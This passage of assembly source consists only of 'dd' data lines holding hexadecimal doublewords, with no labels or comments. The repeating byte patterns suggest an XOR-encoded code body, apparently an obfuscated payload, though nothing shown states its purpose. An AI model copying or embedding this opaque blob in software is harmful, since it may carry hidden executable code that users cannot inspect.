		dd 3D636362h, 8C8D1C00h, 0CC9B741Fh, 0C6B88963h, 75C58C91h
		dd 636362CEh, 55C7C2C3h, 0C99C985Eh, 701D7915h,	9C9C9FB8h
		dd 1FCBCACFh, 939C90E1h, 9C8D5518h, 94D9179Ch, 1DF88917h
		dd 0A01C8C8Dh, 8FE8A88Ch, 1D0C8917h, 761F8C8Dh,	8CA01C9Ah
		dd 3B1993A9h, 179C9C8Dh, 5D1594D9h, 0DC63541Fh,	9C9DA01Ch
		dd 191565E9h, 63636244h, 1EA48917h, 5E1F8C8Dh, 7C899F9Dh
		dd 0A58C8D1Dh, 178DE84Ch, 8D1C5C89h, 935E1F8Ch,	19934CA5h
		dd 9C9C8DF2h, 1C048117h, 771F8C8Dh, 2482779Eh, 9C9C9CACh
		dd 19157F6Bh, 6363613Ch, 0CC999817h, 0A58C95AAh, 189390D9h
		dd 9C9C8DDAh, 992393DFh, 8C8D1EA0h, 70892393h, 118C8D1Dh
		dd 0A5C28CD8h, 3D50EE5Fh, 8C8D1EC0h, 9F925C1Fh,	8D1D1099h
		dd 4419A78Ch, 93636362h, 9C9EB919h, 94D9179Ch, 1C588917h
		dd 899F8C8Dh, 8C8D1D68h, 1C99761Fh, 0E8B18CA0h,	89239387h
		dd 8C8D1D80h, 1C689117h, 0C8118C8Dh, 0A01C9B96h, 1993BC8Ch
		dd 9C9C8C7Eh, 9394D917h, 1DEC8923h, 23938C8Dh, 8D1EC891h
		dd 1F569D8Ch, 0A01C9976h
		dd 8EE8B18Ch, 90892393h, 1C8C8D1Eh, 0BC989EE0h,	8C281993h
		dd 0D9179C9Ch, 0A0891794h, 938C8D1Dh, 1C449123h, 569D8C8Dh
		dd 1C98761Fh, 0E8BC8CA0h, 64891785h, 1F8C8D1Ch,	899F9F5Eh
		dd 8C8D1D24h, 0B18CA01Ch, 8C1C1993h, 0B43D9C9Ch, 1F8C8D1Dh
		dd 2393985Ch, 8D1C7089h, 174C9D8Ch, 0CE1694C9h,	99081491h
		dd 6363639Dh, 8D1EEC3Dh, 9D5E158Ch, 94D9175Eh, 149DDC16h
		dd 62648918h, 443D6363h, 9F8C8D1Dh, 8D1ED899h, 94C9178Ch
		dd 1494CE16h, 62669908h, 103D6363h, 178C8D1Dh, 8E1694C9h
		dd 9D990814h, 3D636363h, 8C8D1DE8h, 1C40999Fh, 0C9178C8Dh
		dd 9ACE1694h, 62990814h, 3D636362h, 8C8D1D94h, 1694C917h
		dd 81496CEh, 63639B99h,	1D883D63h, 0C9178C8Dh, 9BCE1694h
		dd 99990814h, 93636363h, 1D549923h, 999F8C8Dh, 8C8D1DA8h
		dd 1694C917h, 8148ECEh,	63639D99h, 1C583D63h, 0C9178C8Dh
		dd 8CCE1694h, 99990814h, 93636363h, 1DDC9923h, 0C9178C8Dh
		dd 9ECE1694h, 62990814h, 3D636362h, 8C8D1C34h, 20892393h
		dd 9D8C8D1Dh, 94C9174Ch, 1490CE16h, 62629908h, 803D6363h
		dd 178C8D1Eh, 0CE1694C9h, 99081497h, 63636396h,	0A0992393h
		dd 178C8D1Eh, 0CE1694C9h, 9908148Dh, 63636390h,	8D1D843Dh
		dd 8923938Ch, 8C8D1DC0h, 0C9174C9Dh, 99CE1694h,	65990814h
		dd 3D636362h, 8C8D1DFCh, 93985C1Fh, 1D088923h, 4C9D8C8Dh
		dd 0B8892393h, 1F8C8D1Eh, 8149E76h, 63639D99h, 1E943D63h
		dd 999F8C8Dh, 8C8D1D04h, 1694C917h, 8149FCEh, 63626399h
		dd 99239363h, 8C8D1DECh, 0D8892393h, 118C8D1Dh,	17968CD8h
		dd 0CE1694C9h, 99081493h, 6363639Dh, 0E9639377h, 9D191194h
		dd 0CC636363h, 9C35FB74h, 1EAC3D9Ch, 5A158C8Dh,	1E80A99Fh
		dd 721F8C8Dh, 16897799h, 639DA918h, 0A5A06363h,	0ACA098E3h
		dd 277599E1h, 0DA9C9C92h, 3C992393h, 9F8C8D1Ch,	8D1DF099h
		dd 0EE5AA58Ch, 1EF03D46h, 741F8C8Dh, 64191594h,	17636362h
		dd 8D1D84A9h, 95721F8Ch, 0F83DA277h, 0D48C8D1Eh, 0A9082293h
		dd 6363639Dh, 93AC761Fh, 199D5E33h, 63636264h, 9DA9201Ch
		dd 0A8636363h, 0CC3D92E2h, 1F8C8D1Dh, 19B5995Ch, 63636264h
		dd 30992393h, 1F8C8D1Ch, 5A9D9974h, 8D1DA03Dh, 985C1F8Ch
		dd 0A0892393h, 9D8C8D1Eh, 0EE5AA54Ch, 1D6C3D31h, 5F158C8Dh
		dd 1D68819Fh, 771F8C8Dh, 93857791h, 9D811822h, 1F636363h
		dd 199DAC74h, 63636264h, 8D1C5C3Dh, 5F9DDC8Ch, 0C8992393h
		dd 178C8D1Eh, 8D1C5C89h, 8CD8118Ch, 0EE5FA59Bh,	6419174Eh
		dd 25636362h, 9C9C9C96h, 6D6B4EADh, 1C00A117h, 0A19F8C8Dh
		dd 8C8D1EB0h, 0A594731Fh, 4B199366h, 119C9C91h,	63639D19h
		dd 8963CC63h, 8C8DC7E8h, 0A4A117C5h, 9F8C8D1Eh,	8D1EECA1h
		dd 92731F8Ch, 199364A5h, 9C9C912Eh, 0DC992393h,	938C8D1Dh
		dd 1D148923h, 5A158C8Dh, 721F4A9Dh, 99239396h, 8C8D1C78h
		dd 0EC892393h, 158C8D1Dh, 0D24A9D5Ah, 0AC24B977h, 6B9C9C9Ch
		dd 19157Ah, 3D636361h, 8C8D1D90h, 1795741Fh, 63610009h
		dd 8998A563h, 8C95AACCh, 93DA8BE8h, 1DF49923h, 23938C8Dh
		dd 8D1C7089h, 8CD8118Ch, 0EE5AA5FCh, 99239359h,	8C8D1D08h
		dd 1E988917h, 0D8118C8Dh, 5AA5C68Ch, 91A81893h,	0AC249C9Ch
		dd 6B9C9C9Ch, 419157Ah,	17636361h, 91790D9h, 63636104h
		dd 0CC899815h, 0F48C95AAh, 8C8D0819h, 63461774h, 0A117C563h
		dd 8C8D1E98h, 0CB9F731Fh, 0A12393CCh, 8C8D1D58h, 0CB9B731Fh
		dd 6390E963h, 91C6AC89h, 5019158Ch, 17636362h, 8D1D6091h
		dd 0D8919F8Ch, 1F8C8D1Eh, 5DA59B75h, 0D91795E9h, 50191590h
		dd 0F4636362h, 8C8D08E4h, 6346A374h, 2963CC63h,	63636250h
		dd 9C91FF74h, 4819159Ch, 0F4636362h, 8C8D08F0h,	6346BF74h
		dd 2963CC63h, 63636248h, 9C91DB74h, 245B159Ch, 9C9C9CACh
		dd 19157A6Bh, 63636108h, 0A0155F15h, 95AAC881h,	249CF68Ch
		dd 9C9C9CACh, 19157A6Bh, 6363610Ch, 0C899A863h,	638C95AAh
		dd 8DC6C489h, 1D283D8Ch, 0CCD48C8Dh, 0B9048963h, 19158C9Dh
		dd 63636268h, 62781911h, 63CC6363h, 63624829h, 0CC896363h
		dd 0F48C8DC6h, 8C8D08FEh, 63452F74h, 80581F63h,	1D5CA963h
		dd 29638C8Dh, 63636268h, 1D78A117h, 731F8C8Dh, 2963CB99h
		dd 63636248h, 626C2117h, 21B76363h, 63636274h, 702117CBh
		dd 0B7636362h, 63627821h, 2393CB63h, 8D1E90A1h,	5CA19F8Ch
		dd 0D38C8D1Ch, 7CA117CBh, 9F8C8D1Dh, 8D1DE8A1h,	96731F8Ch
		dd 9C9CF4CBh, 2111CC1Ch, 6363639Dh, 9CF4CCCBh, 639C9C9Eh
		dd 95D6A089h, 245B158Ch, 9C9C9CACh, 19157A6Bh, 63636110h
		dd 0A0155F15h, 95AAC481h, 7019178Ch, 0B7636362h, 63627819h
		dd 89239363h, 8C8D1D50h, 0B5BB5E1Fh, 7C19154Ch,	17636362h
		dd 63626C21h, 80811763h, 1D8C8D1Eh, 9C9C665Fh, 0B743B59Ch
		dd 63627421h, 81239363h, 8C8D1EF4h, 15A55F1Fh, 0AD44B564h
		dd 935C194Eh, 4C9D5E00h, 1915644Dh, 63636240h, 0EC892393h
		dd 0D68C8D1Dh, 8AE14CA5h, 8C992393h, 9F8C8D1Dh,	8D1C6899h
		dd 9E741F8Ch, 62401915h, 0C4F46363h, 748C8D08h,	63634434h
		dd 61141915h, 0C8F46363h, 748C8D08h, 63634404h,	61181915h
		dd 23936363h, 8D1DF4A1h, 4CA19F8Ch, 1F8C8D1Dh, 63CB9B73h
		dd 63626829h, 0A1239363h, 8C8D1D58h, 0CB9B731Fh, 9C9CAC24h
		dd 157A6B9Ch, 63611C19h, 635B1563h, 0AAC4A1A8h,	23938C95h
		dd 8D1D20A1h, 3881178Ch, 118C8D1Ch, 9C708320h, 63CB9C9Ch
		dd 63627C29h, 40211763h, 93636362h, 1D708123h, 89178C8Dh
		dd 8C8D1DD4h, 0AE8FC011h, 8117439Dh, 8C8D1ED0h,	1C34819Fh
		dd 771F8C8Dh, 0CB439D90h, 1C48A117h, 5B1F8C8Dh,	81239390h
		dd 8C8D1C2Ch, 0F4CB439Dh, 0CC1C9C95h, 61182117h, 17CB6363h
		dd 63611421h, 0A117CB63h, 8C8D1D68h, 1C28A19Fh,	731F8C8Dh
		dd 8963CB95h, 8C95D6A0h, 62541915h, 0D6F46363h,	748C8D08h
		dd 63634B54h, 61E01915h, 0ADF46363h, 748C8D08h,	63634B24h
		dd 61E41915h, 0A1176363h, 8C8D1E98h, 70812393h,	9D8C8D1Ch
		dd 9F731F43h, 682963CBh, 17636362h, 8D1C34A1h, 94731F8Ch
		dd 9CAC24CBh, 7A6B9C9Ch, 61E81915h, 5B156363h, 0C4A1A863h
		dd 938C95AAh, 1D14A123h, 5B1F8C8Dh, 2963CBABh, 6363627Ch
		dd 62402963h, 23936363h, 8D1D98A1h, 0E881178Ch,	118C8D1Dh
		dd 0CB9283E0h, 1C9C9CF4h, 0E42117CCh, 0CB636361h, 61E02117h
		dd 17CB6363h, 8D1C40A1h, 7CA19F8Ch, 1F8C8D1Ch, 63CB9473h
		dd 95D6A089h, 5819158Ch, 93636362h, 1EE89923h, 23938C8Dh
		dd 8D1E8C89h, 1F4C9D8Ch, 0F6CC9874h, 0F69CF69Eh, 0F699F69Ch
		dd 1C283D9Dh, 23938C8Dh, 8D1EF489h, 1F4C9D8Ch, 3DCC9B74h
		dd 8C8D1D60h, 0B0892393h, 9D8C8D1Dh, 99741F4Ch,	992393CCh
		dd 8C8D1D8Ch, 20F4CCD4h, 3D9C9C9Eh, 8C8D1C60h, 0FC892393h
		dd 9D8C8D1Eh, 97741F4Ch, 1D283DCCh, 999F8C8Dh, 8C8D1C00h
		dd 0CC94741Fh, 2C992393h, 1F8C8D1Ch, 93CC9B5Ch,	1D349923h
		dd 5C1F8C8Dh, 8963CC88h, 8C95AFBCh, 625C1915h, 9DF66363h
		dd 63ACF6CCh, 63625829h, 84896363h, 0F48C9C6Ch,	8C8D08BBh
		dd 634AEF74h, 0EC191563h, 0F4636361h, 8C8D08BEh, 634AFF74h
		dd 84581F63h, 1DB4A117h, 731F8C8Dh, 2963CB9Bh, 63636268h
		dd 1D78A117h, 731F8C8Dh
		dd 2963CB99h, 63636254h, 1DFCA117h, 81178C8Dh, 8C8D1EB0h
		dd 68830011h, 179C9C9Ch, 8D1DC889h, 9123938Ch, 8C8D1E8Ch
		dd 761F569Dh, 0CF4FB59Ah, 627C0117h, 23936363h,	8D1C2C89h
		dd 1F4B9D8Ch, 67B59E73h, 0A12393CFh, 8C8D1EDCh,	1DE8A19Fh
		dd 0CBD38C8Dh, 1C34A117h, 731F8C8Dh, 9CF4CB9Bh,	0CCCC9C9Ch
		dd 61EC2117h, 93CB6363h, 1EBCA123h, 0CBD38C8Dh,	0D6A08963h
		dd 5B158C95h, 9C9CAC24h, 157A6B9Ch, 6361F019h, 155F1563h
		dd 0AAC081A0h, 0A43D8C95h, 9F8C8D1Dh, 8D1C4899h, 99201C8Ch
		dd 6363626Bh, 0F486E9A8h, 8C8D0886h, 63490B74h,	11CCC563h
		dd 63623021h, 0D74CB63h, 779C9C3Eh, 890F484h, 0E1748C8Dh
		dd 0C5636349h, 302111CCh, 0CB636362h, 9C3EEB74h, 0F06F49Ch
		dd 0F9748C8Dh, 11636349h, 63639D21h, 2111CB63h,	63636230h
		dd 2111CCCBh, 63636131h, 0B48963CBh, 0F48C91C6h, 8C8D08C4h
		dd 6349A374h, 0F4191563h, 93636361h, 1DD8A123h,	0CBD38C8Dh
		dd 62682963h, 0A1176363h, 8C8D1C4Ch, 0CB98731Fh, 9C9CAC24h
		dd 157A6B9Ch, 6361F819h, 635B1563h, 0AAC0A1A8h,	0A1178C95h
		dd 8C8D1DB8h, 0CBBB5B1Fh, 627C2963h, 0A1176363h, 8C8D1DA0h
		dd 812393DBh, 8C8D1D34h, 17CB439Dh, 8D1DD4A1h, 8123938Ch
		dd 8C8D1D98h, 731F439Dh, 9CF4CB9Eh, 11CC9C9Ch, 63613121h
		dd 2117CB63h, 636361F4h, 0C4A117CBh, 0D38C8D1Dh, 0A08963CBh
		dd 158C95D6h, 63613419h, 99239363h, 8C8D1D8Ch, 9EF6CCD4h
		dd 9CF69CF6h, 9DF699F6h, 0B8992393h, 938C8D1Eh,	1D708923h
		dd 4C9D8C8Dh, 0CC99741Fh, 8D1C683Dh, 7489178Ch,	9D8C8D1Ch
		dd 1F4C155Eh, 3DCC9574h, 8C8D1D18h, 1DC8999Fh, 741F8C8Dh
		dd 0CF4CC93h, 3D9C9C9Dh, 8C8D1DA0h, 0CC95741Fh,	8D1C683Dh
		dd 9E741F8Ch, 1EA43DCCh, 999F8C8Dh, 8C8D1ED8h, 0CC96741Fh
		dd 8D1D243Dh, 955C1F8Ch, 0BC8963CCh, 158C95AFh,	63624C19h
		dd 0CC9DF663h, 2963ACF6h, 63636134h, 6C848963h,	12F48C9Ch
		dd 748C8D0Fh, 6363488Ch, 61FC1915h, 16F46363h, 748C8D0Fh
		dd 6363489Ch, 61C01915h, 0A9636363h, 8C8D1C20h,	62682963h
		dd 0A1176363h, 8C8D1D84h, 819F6715h, 8C8D1EF0h,	0CF8D771Fh
		dd 9C9CAC24h, 157A6B9Ch, 6361C419h, 635F1563h, 0AAC081A8h
		dd 81178C95h, 8C8D1EECh, 9DB95F1Dh, 819F9C9Ch, 8C8D1D94h
		dd 812393CFh, 8C8D1EBCh, 0CFAD5F1Fh, 1ECC8117h,	5F1F8C8Dh
		dd 8117CFD5h, 8C8D1C48h, 3C892393h, 9D8C8D1Ch, 98771F4Fh
		dd 9C9FF4CFh, 117CC1Ch,	636361C0h, 0FC0117CFh, 0CF636361h
		dd 1EC4A19Fh, 731F8C8Dh, 8963CB96h, 8C95D6A0h, 0AC245B15h
		dd 6B9C9C9Ch, 0C819157Ah, 15636361h, 81A0155Fh,	8C95AAFCh
		dd 8D0FE2F4h, 4FDA748Ch, 19156363h, 636361CCh, 8D0FE6F4h
		dd 4FAA748Ch, 581F6363h, 0D01915B4h, 93636361h,	1DF4A123h
		dd 23938C8Dh, 8D1E8C81h, 9D66158Ch, 1F4F1546h, 63CF9B77h
		dd 63626829h, 98811763h, 938C8D1Eh, 1DB08923h, 4F9D8C8Dh
		dd 0CF94771Fh, 9C9CAC24h, 157A6B9Ch, 6361D419h,	635F1563h
		dd 0AAC081A8h, 23938C95h, 8D1DEC81h, 0A720118Ch, 9C9C9DBBh
		dd 0A12393CBh, 8C8D1C70h, 0CBA05B1Fh, 1C7CA117h, 5B1F8C8Dh
		dd 0F8A19FD6h, 0CB8C8D1Dh, 80A12393h, 938C8D1Dh, 1D208923h
		dd 0E0118C8Dh, 0F4CBDD8Bh, 0CC1C9C9Fh, 61D02117h, 17CB6363h
		dd 6361CC21h, 4315CB63h, 8963CBD3h, 8C95D6A0h, 0AC245B15h
		dd 6B9C9C9Ch, 0D819157Ah, 15636361h, 81A0155Fh,	8C95AAF8h
		dd 8D1C483Dh, 9A741F8Ch, 621915FAh, 75636362h, 9C9C9C26h
		dd 8D0FECF4h, 4ECA748Ch, 2B936363h, 63626221h, 81239363h
		dd 8C8D1D70h, 9883E011h, 2111CCCBh, 636361A6h, 0B48963CBh
		dd 118C91C6h, 6361A619h, 843DCC63h, 0D48C8D1Eh,	9DDFF4CCh
		dd 0AC249C9Ch, 6B9C9C9Ch, 0A819157Ah, 63636361h, 0AAF899A8h
		dd 89638C95h, 8C9C6C84h, 8D0FF4F4h, 4D62748Ch, 2B936363h
		dd 63626221h, 11CCCB63h, 6361A621h, 8963CB63h, 8C91C6B4h
		dd 11BC581Fh, 6361A619h, 4C3DCC63h, 938C8D1Ch, 1C6C8923h
		dd 4C9D8C8Dh, 0CC9B741Fh, 9C9DDFF4h, 9CAC249Ch,	7A6B9C9Ch
		dd 61AC1915h, 0A8636363h, 95AAFC99h, 8489638Ch,	0FA8C9C6Ch
		dd 62621963h, 2B936363h, 63626219h, 40891763h, 1F8C8D1Ch
		dd 4CA59A5Eh, 63B21093h, 0FCF46363h, 748C8D0Fh,	63634D18h
		dd 61DC1915h, 0C0F46363h, 748C8D0Fh, 63634DE8h,	61A01915h
		dd 0A1176363h, 8C8D1DE0h, 1DF8A19Fh, 731F8C8Dh,	2963CB99h
		dd 63636268h, 8CA12393h, 0D38C8D1Dh, 9CAC24CBh,	7A6B9C9Ch
		dd 61A41915h, 5B156363h, 0C0A1A863h, 938C95AAh,	1EA0A123h
		dd 23938C8Dh, 8D1EE881h, 0A7C0118Ch, 5B1FCF88h,	0A117CBCEh
		dd 8C8D1D4Ch, 93EC5B1Fh, 1EFC8123h, 439D8C8Dh, 0CCA117CBh
		dd 1F8C8D1Dh, 0F4CBB75Bh, 0CC1C9C9Ch, 61A02117h, 17CB6363h
		dd 6361DC21h, 9CF4CB63h, 639C9C9Eh, 95D6A089h, 245B158Ch
		dd 9C9C9CACh, 19157A6Bh, 636361A8h, 0A0155F15h,	95AAF481h
		dd 1DF03D8Ch, 999F8C8Dh, 8C8D1DA4h, 0CC90741Fh,	50F4C4F6h
		dd 249C9C9Ch, 9C9C9CACh, 19157A6Bh, 636361ACh, 0F499A863h
		dd 638C95AAh, 9C6C8489h, 0FCEF48Ch, 9748C8Dh, 1563634Ch
		dd 6361B019h, 0FACF463h, 19748C8Dh, 1563634Ch, 6361B419h
		dd 68A11763h, 1F8C8D1Dh, 63CB9973h, 63626829h, 48A11763h
		dd 938C8D1Ch, 1DDC8123h, 439D8C8Dh, 0CB90731Fh,	9C9CAC24h
		dd 157A6B9Ch, 6361B819h, 635B1563h, 0AAC0A1A8h,	0A1178C95h
		dd 8C8D1E9Ch, 0CBA15B1Fh, 627C2963h, 0A1176363h, 8C8D1EF8h
		dd 0CBD05B1Fh, 0A8A12393h, 938C8D1Eh, 1DD88123h, 20118C8Dh
		dd 9C9C0D83h, 9CF4CB9Ch, 17CC9C9Ch, 6361B421h, 2117CB63h
		dd 636361B0h, 24A117CBh, 1F8C8D1Dh, 63CB9B73h, 95D6A089h
		dd 3819158Ch, 0F6636361h, 4C29639Dh, 0F6636362h, 8963CCACh
		dd 8C9C6C84h, 8D0FBAF4h, 534E748Ch, 19156363h, 636361BCh
		dd 8D0F90F4h, 535E748Ch, 581F6363h, 80191584h, 17636361h
		dd 8D1DE0A1h, 99731F8Ch, 682963CBh, 17636362h, 8D1D04A1h
		dd 6CA19F8Ch, 1F8C8D1Dh, 24CB9073h, 9C9C9CACh, 19157A6Bh
		dd 63636184h, 0A8635B15h, 95AAC0A1h, 0A123938Ch, 8C8D1DECh
		dd 0CB8A5B1Fh, 0F4A12393h, 1D8C8D1Dh, 9C9C0B5Bh, 2393CB9Ch
		dd 8D1EB4A1h, 0A481178Ch, 118C8D1Eh, 9C778320h,	81179C9Ch
		dd 8C8D1E98h, 0B5BC5F1Fh, 0A117CB43h, 8C8D1DE8h, 0CB955B1Fh
		dd 1C9C9CF4h, 802117CCh, 0CB636361h, 61BC2117h,	17CB6363h
		dd 8D1E84A1h, 8123938Ch, 8C8D1DB0h, 731F439Dh, 8963CB9Ah
		dd 8C95D6A0h, 0AC245B15h, 6B9C9C9Ch, 8819157Ah,	15636361h
		dd 81A0155Fh, 8C95AAF0h, 29639DF6h, 6363624Ch, 9C9CAC24h
		dd 6BACF69Ch, 8C19157Ah, 63636361h, 0AAF099A8h,	89638C95h
		dd 8C9C6C84h, 0AC2460F6h, 6B9C9C9Ch, 9019157Ah,	15636361h
		dd 63619419h, 99A86363h, 8C95AAFCh, 0C6848963h,	21178C95h
		dd 63636194h, 0ECA19815h, 0F48C95AAh, 8C9C237Bh, 0AC2460F6h
		dd 6B9C9C9Ch, 9819157Ah, 63636361h, 0AAFC99A8h,	89638C95h
		dd 8C9DB930h, 0AC2460F6h, 6B9C9C9Ch, 9C19157Ah,	15636361h
		dd 63606019h, 99A86363h, 8C95AAF4h, 0C6848963h,	21178C95h
		dd 63636060h, 0E4A19815h, 0F48C95AAh, 8C9C237Bh, 0AC2460F6h
		dd 6B9C9C9Ch, 6419157Ah
		dd 63636360h, 0AAF499A8h, 89638C95h, 8C9DB930h,	0AC2460F6h
		dd 6B9C9C9Ch, 6819157Ah, 15636360h, 63606C19h, 99A86363h
		dd 8C95AAF8h, 0C6848963h, 21178C95h, 6363606Ch,	0E8A19815h
		dd 0F48C95AAh, 8C9C237Bh, 0AC2460F6h, 6B9C9C9Ch, 7019157Ah
		dd 63636360h, 0AAF899A8h, 89638C95h, 8C9DB930h,	0AC2460F6h
		dd 6B9C9C9Ch, 7419157Ah, 15636360h, 63607819h, 99A86363h
		dd 8C95AAC0h, 0C6848963h, 21178C95h, 63636078h,	0E0A19815h
		dd 0F48C95AAh, 8C9C237Bh, 0AC2460F6h, 6B9C9C9Ch, 7C19157Ah
		dd 63636360h, 0AAC099A8h, 89638C95h, 8C9DB930h,	9C9CAC24h
		dd 157A6B9Ch, 63604019h, 99A86363h, 8C95AAFCh, 0B5608963h
		dd 0C2C38C99h, 0C95F55C7h, 24F47915h, 638C9DB9h, 99B56489h
		dd 0B9243D8Ch, 5EC18C9Dh, 15C99C98h, 98701D79h,	0CB9C9C9Dh
		dd 0F4992393h, 1F8C8D1Eh, 0F4CC9F74h, 9C9C9C1Ch, 0D03D98F6h
		dd 1F8C8D1Eh, 93CC9974h, 1DB09923h, 741F8C8Dh, 9CF4CC99h
		dd 0F4DC9C9Ch, 8C95AFACh, 0F0848963h, 5B158C8Dh, 78992393h
		dd 9F8C8D1Ch, 8D1D1099h, 94C9168Ch, 9D990814h, 3D636363h
		dd 8C8D1C74h, 1D28999Fh, 741F8C8Dh, 1911CC94h, 63636260h
		dd 992393CCh, 8C8D1D08h, 0CC9A741Fh, 639D1911h,	0CBCC6363h
		dd 0EC808963h, 63CB8C8Dh, 95D6D489h, 5F55C38Ch,	247915C9h
		dd 9C9C8C9Ch, 9C053774h, 0F6CBCA9Ch, 94E96399h,	6C988963h
		dd 5B158C9Ch, 8D1D283Dh, 8923938Ch, 8C8D1E88h, 741F4C9Dh
		dd 0E95BA598h, 775CAD98h, 9363F4D3h, 19119C9Ch,	63636C9Dh
		dd 8963CBCCh, 8C9D934Ch, 8D1D843Dh, 94741F8Ch, 90E963CCh
		dd 6C9D1911h, 74CC6363h, 9C9CDD9Fh, 1790581Fh, 8D1DCCA9h
		dd 675A1D8Ch, 0A59C9C63h, 1598E85Ah, 0F6917764h, 8963CB9Eh
		dd 8C9C6C98h, 4775B15h,	5F55C2C3h, 1F7915C9h, 0CACFC870h
		dd 992393CBh, 8C8D1D20h, 1C20999Fh, 741F8C8Dh, 0E963CC98h
		dd 94E9638Ch, 9CFDFB74h, 90581F9Ch, 3D30D915h, 8C8D1EB0h
		dd 30D9A7D4h, 9EF61993h, 5BFA9C9Ch, 9C9474D9h, 8D0E60F4h
		dd 52DB748Ch, 0CCC56363h, 9C908963h, 0D9158C9Dh, 64D9116Ch
		dd 74E911CCh, 158C701Fh, 9C98257Bh, 396F9C9Ch, 0CB8CE117h
		dd 0CB63A317h, 3D5F15ACh, 8C8D1E9Ch, 54892393h,	9D8C8D1Dh
		dd 96741F4Ch, 199344A5h, 9C9C9D60h, 0CC5CD911h,	8D06D8F4h
		dd 64D9178Ch, 63A417CCh, 9C9CA188h, 5F159C9Ch, 8D1DF03Dh
		dd 95741F8Ch, 19935FA5h, 9C9C9D57h, 8D1D883Dh, 9E741F8Ch
		dd 0FA44D915h, 9E4CD95Bh, 78D9119Ch, 4CE911CCh,	158C701Fh
		dd 9C98257Bh, 396F9C9Ch, 1F4CE911h, 7B158C70h, 9C9C9825h
		dd 17396F9Ch, 17CB5CE1h, 0B0CB63A3h, 0C43D5F15h, 9F8C8D1Dh
		dd 8D1D1899h, 95741F8Ch, 19935FA5h, 9C9C9DF2h, 8D1D4C3Dh
		dd 9F741F8Ch, 1160D915h, 0F4CC60D9h, 8C8D06C8h,	0CC78D917h
		dd 8863A417h, 9C9C9CA1h, 935F159Ch, 1E909923h, 44A58C8Dh
		dd 9DAF1993h, 99639C9Ch, 8C9DB94Ch, 8D1C283Dh, 2393DC8Ch
		dd 8D1DDC89h, 0A54C9D8Ch, 9DB94C99h, 9381EE8Ch,	1EF49923h
		dd 5C1F8C8Dh, 0B94C3F9Bh, 0E9638C9Dh, 0D7B77460h, 75C59C9Ch
		dd 9C9C9C6Ch, 8D1D843Dh, 7C999F8Ch, 1F8C8D1Dh, 0D9158E74h
		dd 24D9112Ch, 80A963CCh, 748C9C6Ch, 9C9C9D15h, 1150D915h
		dd 63CC28D9h, 95D5BCA9h, 9DEB748Ch, 0D9159C9Ch,	20D91154h
		dd 48A963CCh, 748C9D93h, 9C9C9DF9h, 1584581Fh, 0E11F58D9h
		dd 81E89C28h, 9C54E11Fh, 0DFF68BE8h, 0CC2CD911h, 6360E963h
		dd 0E96328E9h, 0EAF77454h, 581F9C9Ch, 20E11F88h, 1F81E89Ch
		dd 0E89C58E1h, 11CCF68Bh, 63CC2CD9h, 0E96360E9h, 58E96320h
		dd 9CEAD474h, 88581F9Ch, 9C50E11Fh, 0E11F81E8h,	8BE89C24h
		dd 0D911D8F6h, 0E963CC2Ch, 24E96360h, 7450E963h, 9C9CEAB9h
		dd 6388581Fh, 896354E9h, 8C9DB950h, 6350E963h, 9DB95089h
		dd 58E9638Ch, 0B9508963h, 23938C9Dh, 8D1DB099h,	8923938Ch
		dd 8C8D1C70h, 741F4C9Dh, 0E963CC9Fh, 94E9638Ch,	9CC3B774h
		dd 90581F9Ch, 0CC60D917h, 0CA63AC17h, 78D91794h, 63AC17CCh
		dd 0D91794CAh, 0AC17CC5Ch, 1794CA63h, 17CC64D9h, 94CA63ACh
		dd 0CC74D911h, 0ECA88963h, 3D8C8Dh, 9F8C8D1Ch, 8D1D7899h
		dd 90741F8Ch, 9CE85FA5h, 55C7C2C3h, 7915C95Fh, 9CBC9C24h
		dd 0AE6749Ch, 0CACF9C9Ch, 8363F4CBh, 19119C9Ch,	63637C9Dh
		dd 94E963CCh, 0ECA48963h, 78F48C8Dh, 748C8D0Eh,	636355ECh
		dd 70A12393h, 0DB8C8D1Ch, 2111CCCBh, 63637C9Dh,	0A17174CBh
		dd 581F9C9Ch, 0A923938Ch, 8C8D1D54h, 1C812393h,	118C8D1Dh
		dd 636A8228h, 6CA59C9Ch, 0E96395E8h, 1D6B7494h,	0ADC59C9Ch
		dd 0C2C3DC5Ch, 945E55C7h, 7915C99Ch, 0CACFCCCDh, 0F49CF6CBh
		dd 9C9C9C1Ch, 9CF69FF6h, 9CF49FF6h, 631C9C9Ch, 896394E9h
		dd 8C8DF084h, 643D5B15h, 1F8C8D1Dh, 5BA5645Ch, 2393B2E9h
		dd 8D1D3499h, 10999F8Ch, 0A58C8D1Dh, 84E890D9h,	9390D917h
		dd 1D508923h, 23938C8Dh, 8D1EE891h, 1F569D8Ch, 8C159B76h
		dd 0C0775CADh, 54992393h, 9F8C8D1Dh, 8D1DC499h,	94741F8Ch
		dd 8963CBCCh, 8C95C688h, 5C1F5A15h, 0DCF6CC8Ch,	0B5708963h
		dd 5F158C99h, 0A8992393h, 1F8C8D1Eh, 1FCC9874h,	0E89C90E1h
		dd 90D91794h, 7764D915h, 60D9119Ah, 6364D915h, 0CFCA64E9h
		dd 0A88963CBh, 0CB8C9C6Ch, 0D6D48963h, 44158C95h, 55C7C2C3h
		dd 49F4CB5Fh, 748C8D0Eh, 636354FCh, 8963CCC5h, 8C9DB904h
		dd 8D1E343Fh, 9923938Ch, 8C8D1D14h, 0A599741Fh,	8D1E3499h
		dd 0F48BE98Ch, 8C8D0E5Ah, 6354AB74h, 63CCC563h,	99AF8489h
		dd 1E343F8Ch, 2CF48C8Dh, 748C8D0Eh, 636354BCh, 0A963CCC5h
		dd 8C8D1E34h, 0BD308963h, 0B43F8C9Dh, 0C38C9C6Ch, 0DC9D245Fh
		dd 845E1C9Ch, 7915C99Ch, 9EF8701Dh, 0CACF9C9Ch,	998174CBh
		dd 0B3749C9Ch, 749C9CA5h, 636363E1h, 634F0C74h,	58967463h
		dd 0C6746363h, 749C9CC6h, 9C9CF9C9h, 9CA57B74h,	0EA7F749Ch
		dd 21749C9Ch, 749C9C80h, 9C9C9105h, 9CE5A774h, 97CF749Ch
		dd 5F159C9Ch, 9C8AEE74h, 145E159Ch, 63622F09h, 99239363h
		dd 8C8D1DECh, 92A93DCh,	6363622Fh, 84E94CA5h, 8D1D7C3Dh
		dd 8923938Ch, 8C8D1EB4h, 741F4C9Dh, 8963CC92h, 8C8DC6FCh
		dd 2F192A93h, 93636362h, 1DDC8923h, 761F8C8Dh, 0E94CA598h
		dd 1DA43D84h, 5C1F8C8Dh, 34999FC5h, 0CC8C8D1Ch,	0C6B88963h
		dd 77C58C91h, 0EC896307h, 158C8DC7h, 943D24D9h,	9F8C8D1Eh
